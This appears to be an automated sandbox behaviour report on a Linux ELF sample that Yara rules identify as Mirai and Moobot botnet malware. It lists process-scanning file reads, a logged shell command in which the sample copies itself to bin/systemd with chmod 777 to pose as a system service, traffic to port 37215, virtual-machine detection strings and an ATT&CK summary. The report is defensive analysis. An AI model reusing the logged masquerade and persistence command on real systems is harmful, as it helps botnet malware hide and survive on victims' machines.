Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/6377/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/4501/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6417)	File opened: /proc/261/cmdline	Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 6378)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6382)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6386)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Source: /usr/bin/chmod (PID: 6413)

File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /usr/sbin/logrotate (PID: 6374)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6384)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6399)	Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/XjaYYNxg9D.elf bin/systemd; chmod 777 bin/systemd"	Jump to behavior

Source: /bin/sh (PID: 6410)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 34474
Source: unknown	Network traffic detected: HTTP traffic on port 34476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 34476
Source: unknown	Network traffic detected: HTTP traffic on port 33040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57368 -> 37215

Source: /usr/bin/find (PID: 6361)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/XjaYYNxg9D.elf (PID: 6397)	Queries kernel information via 'uname':			Jump to behavior

Source: /usr/sbin/logrotate (PID: 6218)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6218)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 6380.24.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: XjaYYNxg9D.elf, 6397.1.000055eda7d93000.000055eda7e43000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: 6380.24.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6380.24.dr	Binary or memory string: qemu-or1k
Source: 6380.24.dr	Binary or memory string: qemu-riscv64
Source: 6380.24.dr	Binary or memory string: {cqemu
Source: 6380.24.dr	Binary or memory string: qemu-arm
Source: 6380.24.dr	Binary or memory string: (qemu
Source: XjaYYNxg9D.elf, 6397.1.000055eda7d93000.000055eda7e43000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: 6380.24.dr	Binary or memory string: qemu-tilegx
Source: 6380.24.dr	Binary or memory string: qemu-hppa
Source: 6380.24.dr	Binary or memory string: q{rqemu%
Source: 6380.24.dr	Binary or memory string: )qemu
Source: 6380.24.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6380.24.dr	Binary or memory string: qemu-ppc
Source: 6380.24.dr	Binary or memory string: Tqemu9
Source: 6380.24.dr	Binary or memory string: qemu-aarch64_be
Source: 6380.24.dr	Binary or memory string: 0qemu9
Source: 6380.24.dr	Binary or memory string: qemu-sparc64
Source: 6380.24.dr	Binary or memory string: qemu-mips64
Source: 6380.24.dr	Binary or memory string: vV:qemu9
Source: 6380.24.dr	Binary or memory string: qemu-ppc64le
Source: 6380.24.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6380.24.dr	Binary or memory string: vmware
Source: 6380.24.dr	Binary or memory string: qemu-cris
Source: 6380.24.dr	Binary or memory string: libvmtools
Source: 6380.24.dr	Binary or memory string: qemu-m68k
Source: 6380.24.dr	Binary or memory string: qemu-xtensa
Source: 6380.24.dr	Binary or memory string: 9qemu
Source: 6380.24.dr	Binary or memory string: qemu-sh4
Source: 6380.24.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 6380.24.dr	Binary or memory string: .qemu{
Source: 6380.24.dr	Binary or memory string: qemu-ppc64abi32
Source: 6380.24.dr	Binary or memory string: qemu-ppc64
Source: 6380.24.dr	Binary or memory string: qemu-i386
Source: 6380.24.dr	Binary or memory string: qemu-x86_64
Source: 6380.24.dr	Binary or memory string: H~6\nqemu*q
Source: XjaYYNxg9D.elf, 6397.1.00007ffff23ce000.00007ffff23ef000.rw-.sdmp	Binary or memory string: Lex86_64/usr/bin/qemu-ppc/tmp/XjaYYNxg9D.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/XjaYYNxg9D.elf
Source: 6380.24.dr	Binary or memory string: @qemu
Source: 6380.24.dr	Binary or memory string: Fqqemu
Source: 6380.24.dr	Binary or memory string: N4qemu
Source: 6380.24.dr	Binary or memory string: ~6\nqemu*q
Source: 6380.24.dr	Binary or memory string: qemu-mips64el
Source: 6380.24.dr	Binary or memory string: hqemu
Source: 6380.24.dr	Binary or memory string: &mqemu
Source: XjaYYNxg9D.elf, 6397.1.00007ffff23ce000.00007ffff23ef000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: 6380.24.dr	Binary or memory string: $qemu
Source: 6380.24.dr	Binary or memory string: qemu-sparc
Source: 6380.24.dr	Binary or memory string: qemu-microblaze
Source: 6380.24.dr	Binary or memory string: qemu-user
Source: 6380.24.dr	Binary or memory string: qemu-aarch64
Source: 6380.24.dr	Binary or memory string: qemu-sh4eb
Source: 6380.24.dr	Binary or memory string: iqemu
Source: 6380.24.dr	Binary or memory string: qemu-mipsel
Source: 6380.24.dr	Binary or memory string: qemuP`
Source: 6380.24.dr	Binary or memory string: qemu-alpha
Source: 6380.24.dr	Binary or memory string: qemu-microblazeel
Source: 6380.24.dr	Binary or memory string: \qemu
Source: 6380.24.dr	Binary or memory string: qemu-xtensaeb
Source: 6380.24.dr	Binary or memory string: qemu-mipsn32el
Source: 6380.24.dr	Binary or memory string: SAqemu
Source: 6380.24.dr	Binary or memory string: Vqemu
Source: 6380.24.dr	Binary or memory string: qemu-mipsn32
Source: 6380.24.dr	Binary or memory string: qemuAU
Source: 6380.24.dr	Binary or memory string: qemu-riscv32
Source: 6380.24.dr	Binary or memory string: qemu-sparc32plus
Source: 6380.24.dr	Binary or memory string: 7,qemu
Source: 6380.24.dr	Binary or memory string: qemu-s390x
Source: 6380.24.dr	Binary or memory string: vmware-checkvm
Source: 6380.24.dr	Binary or memory string: qemu-nios2
Source: 6380.24.dr	Binary or memory string: qemu-armeb
Source: 6380.24.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6380.24.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6380.24.dr	Binary or memory string: I_qemu
Source: 6380.24.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 6380.24.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 6380.24.dr	Binary or memory string: qemu-mips
Source: 6380.24.dr	Binary or memory string: qemuj\
Source: 6380.24.dr	Binary or memory string: {qemuQ&
Source: 6380.24.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 6380.24.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: XjaYYNxg9D.elf, type: SAMPLE
Source: Yara match	File source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: XjaYYNxg9D.elf, type: SAMPLE
Source: Yara match	File source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XjaYYNxg9D.elf PID: 6397, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: XjaYYNxg9D.elf, type: SAMPLE
Source: Yara match	File source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: XjaYYNxg9D.elf, type: SAMPLE
Source: Yara match	File source: 6397.1.00007f4b94001000.00007f4b94011000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XjaYYNxg9D.elf PID: 6397, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
